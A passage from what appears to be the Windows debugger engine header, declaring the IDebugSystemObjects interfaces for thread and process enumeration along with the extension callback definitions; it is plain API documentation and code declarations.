given\n // system process ID.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current process.\n // In kernel mode this is the kernel processs\n // artificial handle used for symbol operations\n // and so can only be used with dbghelp APIs.\n STDMETHOD(GetCurrentProcessHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger process ID for the given handle.\n STDMETHOD(GetProcessIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n // Retrieve the name of the executable loaded\n // in the process. This may fail if no executable\n // was identified.\n STDMETHOD(GetCurrentProcessExecutableName)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExeSize\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugSystemObjects2\nDECLARE_INTERFACE_(IDebugSystemObjects2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSystemObjects.\n\n // In user mode debugging the debugger\n // tracks all threads and processes and\n // enumerates them through the following\n // methods. When enumerating threads\n // the threads are enumerated for the current\n // process.\n // Kernel mode debugging currently is\n // limited to enumerating only the threads\n // assigned to processors, not all of\n // the threads in the system. Process\n // enumeration is limited to a single\n // virtual process representing kernel space.\n\n // Returns the ID of the thread on which\n // the last event occurred.\n STDMETHOD(GetEventThread)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetEventProcess)(\n THIS_\n __out PULONG Id\n ) PURE;\n\n // Controls implicit thread used by the\n // debug engine. The debuggers current\n // thread is just a piece of data held\n // by the debugger for calls which use\n // thread-specific information. In those\n // calls the debuggers current thread is used.\n // The debuggers current thread is not related\n // to any system thread attribute.\n // IDs for threads are small integer IDs\n // maintained by the engine. They are not\n // related to system thread IDs.\n STDMETHOD(GetCurrentThreadId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetCurrentThreadId)(\n THIS_\n __in ULONG Id\n ) PURE;\n // The current process is the process\n // that owns the current thread.\n STDMETHOD(GetCurrentProcessId)(\n THIS_\n __out PULONG Id\n ) PURE;\n // Setting the current process automatically\n // sets the current thread to the thread that\n // was last current in that process.\n STDMETHOD(SetCurrentProcessId)(\n THIS_\n __in ULONG Id\n ) PURE;\n\n // Gets the number of threads in the current process.\n STDMETHOD(GetNumberThreads)(\n THIS_\n __out PULONG Number\n ) PURE;\n // Gets thread count information for all processes\n // and the largest number of threads in a single process.\n STDMETHOD(GetTotalNumberThreads)(\n THIS_\n __out PULONG Total,\n __out PULONG LargestProcess\n ) PURE;\n STDMETHOD(GetThreadIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Gets the debugger ID for the thread\n // currently running on the given\n // processor. Only works in kernel\n // debugging.\n STDMETHOD(GetThreadIdByProcessor)(\n THIS_\n __in ULONG Processor,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // system data structure. When kernel debugging\n // this is the offset of the KTHREAD.\n // When user debugging it is the offset\n // of the current TEB.\n STDMETHOD(GetCurrentThreadDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread data structure.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // TEB. In user mode this is equivalent to\n // the threads data offset.\n STDMETHOD(GetCurrentThreadTeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given TEB.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByTeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current thread.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentThreadSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread ID.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current thread.\n // In kernel mode the value returned is the\n // index of the processor the thread is\n // executing on plus one.\n STDMETHOD(GetCurrentThreadHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger thread ID for the given handle.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n\n // Currently kernel mode sessions will only have\n // a single process representing kernel space.\n STDMETHOD(GetNumberProcesses)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetProcessIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Returns the offset of the current processs\n // system data structure. When kernel debugging\n // this is the offset of the KPROCESS of\n // the process that owns the current thread.\n // When user debugging it is the offset\n // of the current PEB.\n STDMETHOD(GetCurrentProcessDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given\n // system process data structure.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current processs\n // PEB. In user mode this is equivalent to\n // the processs data offset.\n STDMETHOD(GetCurrentProcessPeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given PEB.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByPeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current process.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentProcessSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger process ID for the given\n // system process ID.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current process.\n // In kernel mode this is the kernel processs\n // artificial handle used for symbol operations\n // and so can only be used with dbghelp APIs.\n STDMETHOD(GetCurrentProcessHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger process ID for the given handle.\n STDMETHOD(GetProcessIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n // Retrieve the name of the executable loaded\n // in the process. This may fail if no executable\n // was identified.\n STDMETHOD(GetCurrentProcessExecutableName)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExeSize\n ) PURE;\n\n // IDebugSystemObjects2.\n\n // Return the number of seconds that the current\n // process has been running.\n STDMETHOD(GetCurrentProcessUpTime)(\n THIS_\n __out PULONG UpTime\n ) PURE;\n\n // During kernel sessions the debugger retrieves\n // some information from the system thread and process\n // running on the current processor. For example,\n // the debugger will retrieve virtual memory translation\n // information for when the debugger needs to\n // carry out its own virtual to physical translations.\n // Occasionally it can be interesting to perform\n // similar operations but on a process which isnt\n // currently running. The follow methods allow a caller\n // to override the data offsets used by the debugger\n // so that other system threads and processes can\n // be used instead. These values are defaulted to\n // the thread and process running on the current\n // processor each time the debuggee executes or\n // the current processor changes.\n // The thread and process settings are independent so\n // it is possible to refer to a thread in a process\n // other than the current process and vice versa.\n // Setting an offset of zero will reload the\n // default value.\n STDMETHOD(GetImplicitThreadDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetImplicitThreadDataOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n STDMETHOD(GetImplicitProcessDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetImplicitProcessDataOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugSystemObjects3\nDECLARE_INTERFACE_(IDebugSystemObjects3, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSystemObjects.\n\n // In user mode debugging the debugger\n // tracks all threads and processes and\n // enumerates them through the following\n // methods. When enumerating threads\n // the threads are enumerated for the current\n // process.\n // Kernel mode debugging currently is\n // limited to enumerating only the threads\n // assigned to processors, not all of\n // the threads in the system. Process\n // enumeration is limited to a single\n // virtual process representing kernel space.\n\n // Returns the ID of the thread on which\n // the last event occurred.\n STDMETHOD(GetEventThread)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetEventProcess)(\n THIS_\n __out PULONG Id\n ) PURE;\n\n // Controls implicit thread used by the\n // debug engine. The debuggers current\n // thread is just a piece of data held\n // by the debugger for calls which use\n // thread-specific information. In those\n // calls the debuggers current thread is used.\n // The debuggers current thread is not related\n // to any system thread attribute.\n // IDs for threads are small integer IDs\n // maintained by the engine. They are not\n // related to system thread IDs.\n STDMETHOD(GetCurrentThreadId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetCurrentThreadId)(\n THIS_\n __in ULONG Id\n ) PURE;\n // The current process is the process\n // that owns the current thread.\n STDMETHOD(GetCurrentProcessId)(\n THIS_\n __out PULONG Id\n ) PURE;\n // Setting the current process automatically\n // sets the current thread to the thread that\n // was last current in that process.\n STDMETHOD(SetCurrentProcessId)(\n THIS_\n __in ULONG Id\n ) PURE;\n\n // Gets the number of threads in the current process.\n STDMETHOD(GetNumberThreads)(\n THIS_\n __out PULONG Number\n ) PURE;\n // Gets thread count information for all processes\n // and the largest number of threads in a single process.\n STDMETHOD(GetTotalNumberThreads)(\n THIS_\n __out PULONG Total,\n __out PULONG LargestProcess\n ) PURE;\n STDMETHOD(GetThreadIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Gets the debugger ID for the thread\n // currently running on the given\n // processor. Only works in kernel\n // debugging.\n STDMETHOD(GetThreadIdByProcessor)(\n THIS_\n __in ULONG Processor,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // system data structure. When kernel debugging\n // this is the offset of the KTHREAD.\n // When user debugging it is the offset\n // of the current TEB.\n STDMETHOD(GetCurrentThreadDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread data structure.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // TEB. In user mode this is equivalent to\n // the threads data offset.\n STDMETHOD(GetCurrentThreadTeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given TEB.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByTeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current thread.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentThreadSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread ID.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current thread.\n // In kernel mode the value returned is the\n // index of the processor the thread is\n // executing on plus one.\n STDMETHOD(GetCurrentThreadHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger thread ID for the given handle.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n\n // Currently kernel mode sessions will only have\n // a single process representing kernel space.\n STDMETHOD(GetNumberProcesses)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetProcessIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Returns the offset of the current processs\n // system data structure. When kernel debugging\n // this is the offset of the KPROCESS of\n // the process that owns the current thread.\n // When user debugging it is the offset\n // of the current PEB.\n STDMETHOD(GetCurrentProcessDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given\n // system process data structure.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current processs\n // PEB. In user mode this is equivalent to\n // the processs data offset.\n STDMETHOD(GetCurrentProcessPeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given PEB.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByPeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current process.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentProcessSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger process ID for the given\n // system process ID.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current process.\n // In kernel mode this is the kernel processs\n // artificial handle used for symbol operations\n // and so can only be used with dbghelp APIs.\n STDMETHOD(GetCurrentProcessHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger process ID for the given handle.\n STDMETHOD(GetProcessIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n // Retrieve the name of the executable loaded\n // in the process. This may fail if no executable\n // was identified.\n STDMETHOD(GetCurrentProcessExecutableName)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExeSize\n ) PURE;\n\n // IDebugSystemObjects2.\n\n // Return the number of seconds that the current\n // process has been running.\n STDMETHOD(GetCurrentProcessUpTime)(\n THIS_\n __out PULONG UpTime\n ) PURE;\n\n // During kernel sessions the debugger retrieves\n // some information from the system thread and process\n // running on the current processor. For example,\n // the debugger will retrieve virtual memory translation\n // information for when the debugger needs to\n // carry out its own virtual to physical translations.\n // Occasionally it can be interesting to perform\n // similar operations but on a process which isnt\n // currently running. The follow methods allow a caller\n // to override the data offsets used by the debugger\n // so that other system threads and processes can\n // be used instead. These values are defaulted to\n // the thread and process running on the current\n // processor each time the debuggee executes or\n // the current processor changes.\n // The thread and process settings are independent so\n // it is possible to refer to a thread in a process\n // other than the current process and vice versa.\n // Setting an offset of zero will reload the\n // default value.\n STDMETHOD(GetImplicitThreadDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetImplicitThreadDataOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n STDMETHOD(GetImplicitProcessDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetImplicitProcessDataOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n\n // IDebugSystemObjects3.\n\n STDMETHOD(GetEventSystem)(\n THIS_\n __out PULONG Id\n ) PURE;\n\n STDMETHOD(GetCurrentSystemId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetCurrentSystemId)(\n THIS_\n __in ULONG Id\n ) PURE;\n\n STDMETHOD(GetNumberSystems)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetSystemIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Ids\n ) PURE;\n STDMETHOD(GetTotalNumberThreadsAndProcesses)(\n THIS_\n __out PULONG TotalThreads,\n __out PULONG TotalProcesses,\n __out PULONG LargestProcessThreads,\n __out PULONG LargestSystemThreads,\n __out PULONG LargestSystemProcesses\n ) PURE;\n STDMETHOD(GetCurrentSystemServer)(\n THIS_\n __out PULONG64 Server\n ) PURE;\n STDMETHOD(GetSystemByServer)(\n THIS_\n __in ULONG64 Server,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetCurrentSystemServerName)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n};\n\n#undef INTERFACE\n#define INTERFACE IDebugSystemObjects4\nDECLARE_INTERFACE_(IDebugSystemObjects4, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSystemObjects.\n\n // In user mode debugging the debugger\n // tracks all threads and processes and\n // enumerates them through the following\n // methods. When enumerating threads\n // the threads are enumerated for the current\n // process.\n // Kernel mode debugging currently is\n // limited to enumerating only the threads\n // assigned to processors, not all of\n // the threads in the system. Process\n // enumeration is limited to a single\n // virtual process representing kernel space.\n\n // Returns the ID of the thread on which\n // the last event occurred.\n STDMETHOD(GetEventThread)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetEventProcess)(\n THIS_\n __out PULONG Id\n ) PURE;\n\n // Controls implicit thread used by the\n // debug engine. The debuggers current\n // thread is just a piece of data held\n // by the debugger for calls which use\n // thread-specific information. In those\n // calls the debuggers current thread is used.\n // The debuggers current thread is not related\n // to any system thread attribute.\n // IDs for threads are small integer IDs\n // maintained by the engine. They are not\n // related to system thread IDs.\n STDMETHOD(GetCurrentThreadId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetCurrentThreadId)(\n THIS_\n __in ULONG Id\n ) PURE;\n // The current process is the process\n // that owns the current thread.\n STDMETHOD(GetCurrentProcessId)(\n THIS_\n __out PULONG Id\n ) PURE;\n // Setting the current process automatically\n // sets the current thread to the thread that\n // was last current in that process.\n STDMETHOD(SetCurrentProcessId)(\n THIS_\n __in ULONG Id\n ) PURE;\n\n // Gets the number of threads in the current process.\n STDMETHOD(GetNumberThreads)(\n THIS_\n __out PULONG Number\n ) PURE;\n // Gets thread count information for all processes\n // and the largest number of threads in a single process.\n STDMETHOD(GetTotalNumberThreads)(\n THIS_\n __out PULONG Total,\n __out PULONG LargestProcess\n ) PURE;\n STDMETHOD(GetThreadIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Gets the debugger ID for the thread\n // currently running on the given\n // processor. Only works in kernel\n // debugging.\n STDMETHOD(GetThreadIdByProcessor)(\n THIS_\n __in ULONG Processor,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // system data structure. When kernel debugging\n // this is the offset of the KTHREAD.\n // When user debugging it is the offset\n // of the current TEB.\n STDMETHOD(GetCurrentThreadDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread data structure.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // TEB. In user mode this is equivalent to\n // the threads data offset.\n STDMETHOD(GetCurrentThreadTeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given TEB.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByTeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current thread.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentThreadSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread ID.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current thread.\n // In kernel mode the value returned is the\n // index of the processor the thread is\n // executing on plus one.\n STDMETHOD(GetCurrentThreadHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger thread ID for the given handle.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n\n // Currently kernel mode sessions will only have\n // a single process representing kernel space.\n STDMETHOD(GetNumberProcesses)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetProcessIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Returns the offset of the current processs\n // system data structure. When kernel debugging\n // this is the offset of the KPROCESS of\n // the process that owns the current thread.\n // When user debugging it is the offset\n // of the current PEB.\n STDMETHOD(GetCurrentProcessDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given\n // system process data structure.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current processs\n // PEB. In user mode this is equivalent to\n // the processs data offset.\n STDMETHOD(GetCurrentProcessPeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given PEB.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByPeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current process.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentProcessSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger process ID for the given\n // system process ID.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current process.\n // In kernel mode this is the kernel processs\n // artificial handle used for symbol operations\n // and so can only be used with dbghelp APIs.\n STDMETHOD(GetCurrentProcessHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger process ID for the given handle.\n STDMETHOD(GetProcessIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n // Retrieve the name of the executable loaded\n // in the process. This may fail if no executable\n // was identified.\n STDMETHOD(GetCurrentProcessExecutableName)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExeSize\n ) PURE;\n\n // IDebugSystemObjects2.\n\n // Return the number of seconds that the current\n // process has been running.\n STDMETHOD(GetCurrentProcessUpTime)(\n THIS_\n __out PULONG UpTime\n ) PURE;\n\n // During kernel sessions the debugger retrieves\n // some information from the system thread and process\n // running on the current processor. For example,\n // the debugger will retrieve virtual memory translation\n // information for when the debugger needs to\n // carry out its own virtual to physical translations.\n // Occasionally it can be interesting to perform\n // similar operations but on a process which isnt\n // currently running. The follow methods allow a caller\n // to override the data offsets used by the debugger\n // so that other system threads and processes can\n // be used instead. These values are defaulted to\n // the thread and process running on the current\n // processor each time the debuggee executes or\n // the current processor changes.\n // The thread and process settings are independent so\n // it is possible to refer to a thread in a process\n // other than the current process and vice versa.\n // Setting an offset of zero will reload the\n // default value.\n STDMETHOD(GetImplicitThreadDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetImplicitThreadDataOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n STDMETHOD(GetImplicitProcessDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(SetImplicitProcessDataOffset)(\n THIS_\n __in ULONG64 Offset\n ) PURE;\n\n // IDebugSystemObjects3.\n\n STDMETHOD(GetEventSystem)(\n THIS_\n __out PULONG Id\n ) PURE;\n\n STDMETHOD(GetCurrentSystemId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetCurrentSystemId)(\n THIS_\n __in ULONG Id\n ) PURE;\n\n STDMETHOD(GetNumberSystems)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetSystemIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount(Count) PULONG Ids\n ) PURE;\n STDMETHOD(GetTotalNumberThreadsAndProcesses)(\n THIS_\n __out PULONG TotalThreads,\n __out PULONG TotalProcesses,\n __out PULONG LargestProcessThreads,\n __out PULONG LargestSystemThreads,\n __out PULONG LargestSystemProcesses\n ) PURE;\n STDMETHOD(GetCurrentSystemServer)(\n THIS_\n __out PULONG64 Server\n ) PURE;\n STDMETHOD(GetSystemByServer)(\n THIS_\n __in ULONG64 Server,\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetCurrentSystemServerName)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // IDebugSystemObjects4.\n\n STDMETHOD(GetCurrentProcessExecutableNameWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ExeSize\n ) PURE;\n\n STDMETHOD(GetCurrentSystemServerNameWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// Debugger/debuggee communication.\n//\n// A distinguished exception, DBG_COMMAND_EXCEPTION (0x40010009),\n// can be used by a debuggee to communicate with the debugger.\n// The arguments of the exception must be:\n// 1. Exception ID.\n// 2. Command code.\n// 3. Size of argument.\n// 4. Pointer to argument.\n//\n// The arguments depend on the command code.\n//\n//----------------------------------------------------------------------------\n\n#define DEBUG_COMMAND_EXCEPTION_ID 0xdbe00dbe\n\n// Invalid command code.\n#define DEBUG_CMDEX_INVALID 0x00000000\n\n//\n// The debugger can collect strings for display at the\n// next event. A debuggee can use this to register information\n// about a program situation before places where an event\n// may occur, such as a risky operation or assertion.\n// The strings are automatically flushed on the next\n// event continuation. Strings are kept on a per-thread basis.\n//\n// When adding, the argument is the string to add.\n// Reset has no arguments and clears all strings.\n//\n#define DEBUG_CMDEX_ADD_EVENT_STRING 0x00000001\n#define DEBUG_CMDEX_RESET_EVENT_STRINGS 0x00000002\n\n#ifndef DEBUG_NO_IMPLEMENTATION\n\nFORCEINLINE void\nDebugCommandException(ULONG Command, ULONG ArgSize, PVOID Arg)\n{\n ULONG_PTR ExArgs[4];\n\n ExArgs[0] = DEBUG_COMMAND_EXCEPTION_ID;\n ExArgs[1] = Command;\n ExArgs[2] = ArgSize;\n ExArgs[3] = (ULONG_PTR)Arg;\n RaiseException(DBG_COMMAND_EXCEPTION, 0, 4, ExArgs);\n}\n\n#endif // #ifndef DEBUG_NO_IMPLEMENTATION\n\n//----------------------------------------------------------------------------\n//\n// Extension callbacks.\n//\n//----------------------------------------------------------------------------\n\n// Returns a version with the major version in\n// the high word and the minor version in the low word.\n#define DEBUG_EXTENSION_VERSION(Major, Minor) \\\n ((((Major) & 0xffff) << 16) | ((Minor) & 0xffff))\n\n//\n// Descriptive flags returned from extension initialization.\n//\n\n// Extension has a !help command which can give\n// per-command help.\n#define DEBUG_EXTINIT_HAS_COMMAND_HELP 0x00000001\n\n// Initialization routine. Called once when the extension DLL\n// is loaded. Returns a version and returns flags detailing\n// overall qualities of the extension DLL.\n// A session may or may not be active at the time the DLL\n// is loaded so initialization routines should not expect\n// to be able to query session information.\ntypedef HRESULT (CALLBACK* PDEBUG_EXTENSION_INITIALIZE)\n (__out PULONG Version, __out PULONG Flags);\n// Exit routine. Called once just before the extension DLL is\n// unloaded. As with initialization, a session may or\n// may not be active at the time of the call.\ntypedef void (CALLBACK* PDEBUG_EXTENSION_UNINITIALIZE)\n (void);\n\n// A debuggee has been discovered for the session. It\n// is not necessarily halted.\n#define DEBUG_NOTIFY_SESSION_ACTIVE 0x00000000\n// The session no longer has a debuggee.\n#define DEBUG_NOTIFY_SESSION_INACTIVE 0x00000001\n// The debuggee is halted and accessible.\n#define DEBUG_NOTIFY_SESSION_ACCESSIBLE 0x00000002\n// The debuggee is running or inaccessible.\n#define DEBUG_NOTIFY_SESSION_INACCESSIBLE 0x00000003\n\ntypedef void (CALLBACK* PDEBUG_EXTENSION_NOTIFY)\n (__in ULONG Notify, __in ULONG64 Argument);\n\n// A PDEBUG_EXTENSION_CALL function can return this code\n// to 